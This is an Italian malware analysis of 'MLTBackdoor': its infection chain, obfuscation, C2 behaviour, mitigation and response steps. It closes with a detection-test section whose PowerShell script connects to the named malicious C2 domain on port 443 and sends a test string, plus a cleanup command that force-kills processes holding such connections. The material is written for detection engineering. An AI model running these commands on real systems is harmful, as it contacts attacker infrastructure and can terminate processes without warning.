Analisi Tecnica di MLTBackdoor

Riepilogo

Zscaler ThreatLabz ha identificato una nuova famiglia di malware, MLTBackdoor, a maggio 2026. La minaccia viene distribuita tramite una catena di infezione ClickFix a più fasi e sembra essere utilizzata da operatori di ransomware per stabilire un accesso iniziale e supportare il movimento laterale. Il malware si basa su una forte offuscamento, un algoritmo di generazione di domini e un caricatore Beacon Object File (BOF) per ampliare le sue capacità dopo l’esecuzione. Le sue comunicazioni di rete sono criptate tramite TLS e sono progettate per assomigliare al traffico legittimo di Microsoft Delivery Optimization, aiutando l’attività a mescolarsi con il comportamento normale della rete.

Indagine

L’analisi ha seguito la catena di infezione fino a un conhost.exe wrapper che ha scaricato un archivio compresso da un dominio generato tramite la logica DGA del malware. All’interno di quell’archivio, endpointdlp.dll ha decriptato un payload criptato tramite RC4 che è stato quindi caricato come binario MLTBackdoor. I ricercatori hanno scoperto che il malware utilizza un’aritmetica booleana mista, un appiattimento del flusso di controllo, chiamate di sistema indirette e un protocollo di comunicazione criptato personalizzato per ostacolare l’analisi e il rilevamento. Il caricatore BOF incorporato consente anche agli operatori di eseguire ulteriori moduli in stile Cobalt Strike in memoria.

Mitigazione

I difensori dovrebbero bloccare i domini di comando e controllo identificati e monitorare i modelli DGA correlati. Il rilevamento dovrebbe concentrarsi anche sulla specifica stringa user-agent e sul traffico TLS diretto a /api/v1/telemetry sulla porta 443. I team di sicurezza dovrebbero osservare l’uso sospetto di conhost.exe con gli argomenti documentati e per la creazione di endpointdlp.dll in directory temporanee. I rilevamenti basati sul comportamento per l’hashing delle API e l’uso delle chiamate di sistema indirette possono migliorare ulteriormente la visibilità sull’attività di MLTBackdoor.

Risposta

Se viene rilevata attività di MLTBackdoor, isolare immediatamente l’endpoint interessato, terminare il processo malevolo e rimuovere qualsiasi file rilasciato nella directory Temp dall’initial loader. Gli investigatori dovrebbero quindi eseguire una revisione forense per moduli BOF aggiuntivi o payload successivi. Qualsiasi credenziale potenzialmente esposta dovrebbe essere reimpostata, e la caccia alla minaccia dovrebbe essere ampliata per identificare tentativi di movimento laterale utilizzando lo stesso artigianato.

Esecuzione della Simulazione

Prerequisito: Il Controllo Prevolo di Telemetria & Baseline deve essere superato.

Motivazione: Questa sezione dettaglia l’esecuzione precisa della tecnica avversaria (TTP) progettata per attivare la regola di rilevamento. I comandi e la narrazione DEVONO riflettere direttamente i TTP identificati e puntare a generare esattamente la telemetria attesa dalla logica di rilevamento. Esempi astratti o non correlati porteranno a diagnosi errate.

• Narrazione & Comandi dell’Attacco:

  1. Ricognizione – Risolvi il dominio DGA – Il backdoor genera una query DNS per hrs2y15sungu.com, un dominio prodotto dal suo DGA interno.
  2. Contatto C2 – Apri un socket TCP – Usando PowerShell, l’avversario crea una connessione TCP grezza verso l’IP risolto sulla porta 443 (HTTPS) per mescolarsi con il traffico normale.
  3. Recupero del Payload (T1105) – Sullo stesso socket il backdoor estrarrebbe moduli aggiuntivi; per il test inviamo semplicemente una stringa innocua.

  Questi passaggi emettono un record di Sysmon Event ID 3 con DestinationHostname = hrs2y15sungu.com, soddisfacendo la regola Sigma’s selezione condizione.

• Script di Test di Regressione:

  # TC-20260610-A7B3Z – Simula comunicazione C2 di MLTBackdoor
  # -------------------------------------------------------
  # 1. Risolvi il dominio malevolo (output DGA simulato)
  $malDomain = "hrs2y15sungu.com"
  try {
      $ip = [System.Net.Dns]::GetHostAddresses($malDomain)[0].IPAddressToString
  } catch {
      Write-Error "Impossibile risolvere $malDomain – abortendo il test."
      exit 1
  }
  
  # 2. Apri una connessione TCP verso l'IP risolto sulla porta 443
  $port = 443
  $client = New-Object System.Net.Sockets.TcpClient
  $client.Connect($ip, $port)
  
  # 3. Invia un payload innocuo (simulando l'estrazione del modulo)
  $stream = $client.GetStream()
  $payload = [System.Text.Encoding]::ASCII.GetBytes("TEST_PAYLOAD")
  $stream.Write($payload, 0, $payload.Length)
  
  # 4. Mantieni la connessione attiva brevemente per garantire la generazione del log
  Start-Sleep -Seconds 5
  
  # 5. Pulizia
  $stream.Close()
  $client.Close()
  Write-Output "Simulazione completata – connessione a $malDomain ($ip:$port) chiusa."

• Comandi di Pulizia:

  # Assicurati che non rimangano socket in sospeso (nel caso in cui lo script si sia interrotto)
  Get-NetTCPConnection -RemotePort 443 |
      Where-Object { $_.RemoteAddress -eq (Resolve-DnsName hrs2y15sungu.com).IPAddress } |
      ForEach-Object { Stop-Process -Id $_.OwningProcess -Force }